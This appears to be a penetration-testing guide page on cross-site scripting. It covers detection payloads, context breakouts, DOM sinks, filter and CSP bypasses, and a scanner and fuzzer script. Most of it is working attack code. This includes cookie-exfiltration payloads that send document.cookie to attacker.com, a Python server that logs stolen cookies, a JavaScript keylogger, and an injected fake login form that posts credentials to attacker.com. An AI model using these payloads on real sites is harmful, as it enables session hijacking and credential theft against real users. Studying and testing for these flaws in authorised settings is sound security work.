Exploitation A03

Cross-Site Scripting (XSS) Exploitation

XSS allows attackers to inject malicious scripts into web pages viewed by other users. This guide covers detection, exploitation, filter bypasses, and real-world attack scenarios.

Warning

XSS can be used to steal session cookies, capture credentials, or perform actions as the victim. Always demonstrate impact responsibly and document findings clearly.

🎯 Why XSS Remains Dangerous

XSS consistently ranks in OWASP Top 10 and offers attackers powerful capabilities:

  • Session Hijacking: Steal session cookies (if HttpOnly not set) and take over user accounts. Even one XSS can compromise admin accounts.
  • Credential Theft: Inject fake login forms or keyloggers to capture usernames and passwords as users type.
  • Malware Distribution: Inject drive-by downloads or redirect users to malicious sites. Major websites have been compromised this way.
  • Cryptocurrency Mining: Inject miners to use victim's CPU resources. Affects all users viewing the compromised page.
  • Worm Propagation: Self-replicating XSS can spread across social platforms. Samy worm infected 1M+ MySpace profiles in 20 hours.
  • Internal Network Access: Via BeEF or similar, pivot from browser to scan internal networks the victim can access.

Tools & Resources

XSStrike

Advanced XSS detection

pip install xsstrike GitHub →

dalfox

Parameter analysis & XSS

go install dalfox GitHub →

Beef-XSS

Browser exploitation framework

apt install beef-xss GitHub →

KNOXSS

Online XSS scanner

SaaS Tool Website →

Understanding XSS

XSS occurs when an application includes untrusted data in web pages without proper validation or escaping. The browser executes the injected script because it can't distinguish between legitimate and malicious code.

XSS Types

Reflected XSS

Payload in URL/request, reflected in response. Requires victim to click link.

Stored XSS

Payload stored in database, affects all users who view the content.

DOM-Based XSS

Vulnerability in client-side JavaScript. Server never sees the payload.

Detection & Testing

Basic Detection Payloads

html
# Quick test payloads - look for popup or script execution
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.domain)</script>

# Without script tags (often filtered)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

# Event handlers
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

# In href/src attributes
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

Tip

Tip: Use alert(document.domain) instead of alert(1) to prove the XSS executes in the target's context, not a sandboxed iframe.

Context-Aware Testing

Your payload behavior depends on WHERE the input is reflected:

html
<!-- Context 1: Inside HTML tags -->
Original: <div>USER_INPUT</div>
Payload: <script>alert(1)</script>
Result: <div><script>alert(1)</script></div>

<!-- Context 2: Inside attribute -->
Original: <input value="USER_INPUT">
Payload: " onfocus=alert(1) autofocus="
Result: <input value="" onfocus=alert(1) autofocus="">

<!-- Context 3: Inside JavaScript string -->
Original: var name = "USER_INPUT";
Payload: "-alert(1)-"
Result: var name = ""-alert(1)-"";

<!-- Context 4: Inside JavaScript (no quotes) -->
Original: var x = USER_INPUT;
Payload: 1;alert(1)//
Result: var x = 1;alert(1)//;

<!-- Context 5: Inside URL -->
Original: <a href="USER_INPUT">
Payload: javascript:alert(1)
Result: <a href="javascript:alert(1)">

Reflected XSS

The payload is part of the request (URL, form field) and immediately reflected in the response. Attack requires victim to click a malicious link.

Common Injection Points

text
# URL parameters
https://target.com/search?q=<script>alert(1)</script>

# Form fields (check POST requests too)
https://target.com/contact?name=<img src=x onerror=alert(1)>

# HTTP Headers (rare but check)
Referer: <script>alert(1)</script>
User-Agent: <script>alert(1)</script>

# Error messages
https://target.com/page?file=<script>alert(1)</script>
→ "File <script>alert(1)</script> not found"

Stored XSS

The most dangerous XSS type. Payload is stored and served to every user who views the affected page. Commonly found in comments, profiles, forums, and user-generated content.

Common Stored XSS Locations

  • User profiles (name, bio, avatar URL)
  • Comments and forum posts
  • Product reviews
  • Private messages
  • File names and metadata
  • Support tickets
  • Admin panels viewing user data
html
# Profile name field
Display Name: <script>alert('Stored XSS')</script>

# Comment section
Comment: Great article!<img src=x onerror=alert(document.cookie)>

# File upload name
Filename: "><script>alert(1)</script>.jpg

# SVG file upload (if displayed inline)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

DOM-Based XSS

Vulnerability exists in client-side JavaScript. The server returns a safe page, but JavaScript code processes user input unsafely and writes it to the DOM.

Sources (Where Input Comes From)

javascript
// URL-based sources
location
location.href
location.search
location.hash
location.pathname
document.URL
document.documentURI
document.referrer

// Storage sources
localStorage
sessionStorage

// Other sources
window.name
document.cookie
Web messages (postMessage)

Sinks (Where Input Causes Execution)

javascript
// Dangerous sinks - direct code execution
eval()
setTimeout('string')
setInterval('string')
Function('string')
execScript()

// DOM manipulation sinks
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()

// JavaScript URL sinks
location.href
location.assign()
location.replace()
window.open()
<a href="">
<iframe src="">
<object data="">

DOM XSS Example

javascript
// Vulnerable code
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = 'Searching for: ' + search;

// Attack URL
https://target.com/search#<img src=x onerror=alert(1)>

// The hash value is never sent to server but executed client-side

Cookie Stealing & Session Hijacking

The most common XSS attack goal is stealing session cookies to impersonate users.

Cookie Exfiltration Payloads

html
# Using Image (most reliable)
<img src=x onerror="new Image().src='http://attacker.com/steal?c='+document.cookie">

# Using fetch API
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

# Using XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?c='+document.cookie);
xhr.send();
</script>

# Redirect method (obvious to user)
<script>location='http://attacker.com/steal?c='+document.cookie</script>

# Using navigator.sendBeacon (stealthy)
<script>navigator.sendBeacon('http://attacker.com/steal',document.cookie)</script>

Receiver Server (Python)

python
#!/usr/bin/env python3
"""Simple cookie receiver server"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import datetime

class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        query = parse_qs(urlparse(self.path).query)
        cookie = query.get('c', ['None'])[0]
        
        timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        print(f"[{timestamp}] Cookie received from {self.client_address[0]}")
        print(f"Cookie: {cookie}\n")
        
        # Log to file
        with open('stolen_cookies.txt', 'a') as f:
            f.write(f"{timestamp} | {self.client_address[0]} | {cookie}\n")
        
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), CookieHandler)
    print("[*] Cookie receiver running on http://0.0.0.0:8080")
    server.serve_forever()

Warning

HttpOnly Flag: If cookies have HttpOnly flag, JavaScript cannot access them. Look for other attack vectors like keylogging, phishing, or API token theft instead.

Keylogging & Credential Theft

XSS Keylogger

html
<script>
document.onkeypress = function(e) {
    new Image().src = 'http://attacker.com/log?k=' + e.key;
}
</script>

// More comprehensive keylogger
<script>
var keys = '';
document.onkeypress = function(e) {
    keys += e.key;
    if(keys.length > 20) {
        new Image().src = 'http://attacker.com/log?keys=' + encodeURIComponent(keys);
        keys = '';
    }
}
</script>

Phishing Form Injection

html
<!-- Phishing Form Injection -->
<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;' +
    'background:white;z-index:9999;padding:50px;">' +
    '<h2>Session Expired - Please Login Again</h2>' +
    '<form action="http://attacker.com/phish" method="POST">' +
    '<input type="text" name="username" placeholder="Username"><br><br>' +
    '<input type="password" name="password" placeholder="Password"><br><br>' +
    '<input type="submit" value="Login">' +
    '</form></div>';
</script>

Filter Bypass Techniques

Case & Encoding Bypasses

html
# Case manipulation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# HTML encoding
&#60;script&#62;alert(1)&#60;/script&#62;
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

# URL encoding
<img src=x onerror=%61%6c%65%72%74(1)>

# Unicode encoding
<script>alert(1)</script>

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Base64 in data URI
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Tag & Event Bypasses

html
# If script tags are blocked, use event handlers
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>

# Less common tags/events
<bgsound src=x onpropertychange=alert(1)>
<object data=1 onerror=alert(1)>
<xml onreadystatechange=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<style>@import'http://attacker.com/xss.css';</style>

Parentheses & Quote Bypasses

html
# Tagged template literal (no parentheses needed)
# Note: Use backtick character around the argument
<img src=x onerror=alert`1`>
<svg onload=alert`XSS`>

# Alternative without backticks
<img src=x onerror="window['alert'](1)">
<svg onload=alert&lpar;1&rpar;>
html
# No quotes
<img src=x onerror=alert(1)>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>

# No spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# No alert keyword
<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>
<img src=x onerror=[].constructor.constructor('alert(1)')()>
<img src=x onerror=top['al'+'ert'](1)>

Breaking Out of Attributes

html
# Double quote context
Original: <input value="USER_INPUT">
Payload:  "><script>alert(1)</script>
Result:   <input value=""><script>alert(1)</script>">

# Single quote context
Original: <input value='USER_INPUT'>
Payload:  '><script>alert(1)</script>
Result:   <input value=''><script>alert(1)</script>'>

# No quote context
Original: <input value=USER_INPUT>
Payload:  x onclick=alert(1)
Result:   <input value=x onclick=alert(1)>

# Inside href
Original: <a href="USER_INPUT">
Payload:  javascript:alert(1)
Payload:  " onclick="alert(1)

Content Security Policy (CSP) Bypass

CSP is a security header that restricts script sources. Even with XSS, a strong CSP can prevent execution. But misconfigurations allow bypasses.

Common CSP Weaknesses

text
# If 'unsafe-inline' is set - full bypass
Content-Security-Policy: script-src 'self' 'unsafe-inline'
→ <script>alert(1)</script> works

# If 'unsafe-eval' is set
Content-Security-Policy: script-src 'self' 'unsafe-eval'
→ <img src=x onerror="eval('alert(1)')">

# If *.google.com or similar CDNs allowed
Content-Security-Policy: script-src 'self' *.google.com
→ Use JSONP endpoints: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

# If base-uri not set
→ <base href="http://attacker.com/"> then load relative scripts from attacker

# If object-src not set
→ <object data="data:text/html,<script>alert(1)</script>">

CSP Bypass Payloads

html
# JSONP bypass (find allowed JSONP endpoints)
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script>

# Angular CSP bypass (if Angular allowed)
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Using allowed domains with file upload
1. Upload malicious .js file to allowed domain
2. <script src="https://allowed-domain.com/uploads/evil.js"></script>

# Data URI (if data: allowed)
<script src="data:text/javascript,alert(1)"></script>

# Via meta refresh (no script execution but can redirect)
<meta http-equiv="refresh" content="0;url=http://attacker.com/">

Automation Scripts

Python XSS Scanner

python
#!/usr/bin/env python3
"""
Basic XSS Scanner - Tests common payloads against URL parameters
"""
import requests
import sys
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse

PAYLOADS = [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
    '"><script>alert(1)</script>',
    "'-alert(1)-'",
    '<body onload=alert(1)>',
]

INDICATORS = [
    '<script>alert(1)</script>',
    'onerror=alert(1)',
    'onload=alert(1)',
]

def scan_url(url):
    """Test all parameters in URL for XSS"""
    parsed = urlparse(url)
    params = parse_qs(parsed.query)
    
    if not params:
        print(f"[-] No parameters found in {url}")
        return
    
    print(f"[*] Testing {url}")
    print(f"[*] Parameters: {list(params.keys())}")
    
    for param in params:
        for payload in PAYLOADS:
            test_params = params.copy()
            test_params[param] = [payload]
            
            new_query = urlencode(test_params, doseq=True)
            test_url = urlunparse(parsed._replace(query=new_query))
            
            try:
                response = requests.get(test_url, timeout=10)
                
                for indicator in INDICATORS:
                    if indicator in response.text:
                        print(f"[+] POTENTIAL XSS FOUND!")
                        print(f"    Parameter: {param}")
                        print(f"    Payload: {payload}")
                        print(f"    URL: {test_url}")
                        break
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        print(f"Example: {sys.argv[0]} 'http://target.com/search?q=test'")
        sys.exit(1)
    
    scan_url(sys.argv[1])

Bash XSS Fuzzer

bash
#!/bin/bash
# Simple XSS payload fuzzer

URL="$1"
PARAM="$2"

if [ -z "$URL" ] || [ -z "$PARAM" ]; then
    echo "Usage: $0 <base_url> <param_name>"
    echo "Example: $0 'http://target.com/search?' 'q'"
    exit 1
fi

PAYLOADS=(
    "<script>alert(1)</script>"
    "<img src=x onerror=alert(1)>"
    "<svg onload=alert(1)>"
    ""><script>alert(1)</script>"
    "'-alert(1)-'"
)

echo "[*] Fuzzing $URL with parameter $PARAM"

for payload in "${PAYLOADS[@]}"; do
    encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
    response=$(curl -s "$URL$PARAM=$encoded")
    
    if echo "$response" | grep -q "alert(1)"; then
        echo "[+] Possible XSS with: $payload"
    fi
done

Practice Labs

Information

Impact Documentation: When reporting XSS, demonstrate impact beyond alert(). Show cookie theft, account takeover potential, or sensitive data access.

XSS Testing Checklist

🔍 Input Discovery

  • ☐ Test all URL parameters (GET)
  • ☐ Test all form fields (POST)
  • ☐ Check URL path segments
  • ☐ Test HTTP headers (User-Agent, Referer)
  • ☐ Check cookie values
  • ☐ Test file upload filenames
  • ☐ Look for JSON/XML input points

🎯 Context Testing

  • ☐ HTML body context (<div>INPUT</div>)
  • ☐ HTML attribute context (value="INPUT")
  • ☐ JavaScript context (var x = 'INPUT')
  • ☐ URL/href context (href="INPUT")
  • ☐ CSS context (style="INPUT")
  • ☐ Template literal context (`${INPUT}`)

🔓 Filter Bypass

  • ☐ Case variation (ScRiPt, SCRIPT)
  • ☐ Double encoding (%253c = <)
  • ☐ HTML entities (&lt; &#60;)
  • ☐ Unicode encoding (\\u003c)
  • ☐ Null bytes (%00)
  • ☐ Event handler alternatives
  • ☐ SVG/XML injection vectors

🛡️ Defense Bypass

  • ☐ Check CSP headers (report-uri?)
  • ☐ Test JSONP endpoints for callback
  • ☐ Look for AngularJS/Vue template injection
  • ☐ Test DOM-based sinks (innerHTML)
  • ☐ Check for whitelisted CDN scripts
  • ☐ Test file upload for SVG XSS

How to Test for XSS

Step-by-Step Testing Process

  1. Inject Canary: Start with a unique string like aaa'"<>bbb to see what gets reflected and what's filtered.
  2. Identify Context: View source to see where your input lands. Is it in HTML, attribute, JavaScript, or URL context?
  3. Craft Context-Specific Payload: Break out of the context. In attribute: " onmouseover="alert(1). In JS: '-alert(1)-'
  4. Test Filter Bypass: If blocked, try encoding, case changes, or alternative event handlers. Use PortSwigger's XSS cheat sheet.
  5. Check for DOM XSS: Look at JavaScript sources (location.hash, URL params) flowing to dangerous sinks (innerHTML, eval).
  6. Verify Execution: Confirm the payload executes - check browser console for errors if alert doesn't fire.
  7. Demonstrate Impact: Beyond alert(), show cookie theft: fetch('https://attacker.com/?c='+document.cookie)

💡 Pro Tip: For stored XSS, check if the payload persists across sessions and affects other users. This dramatically increases severity.

External Resources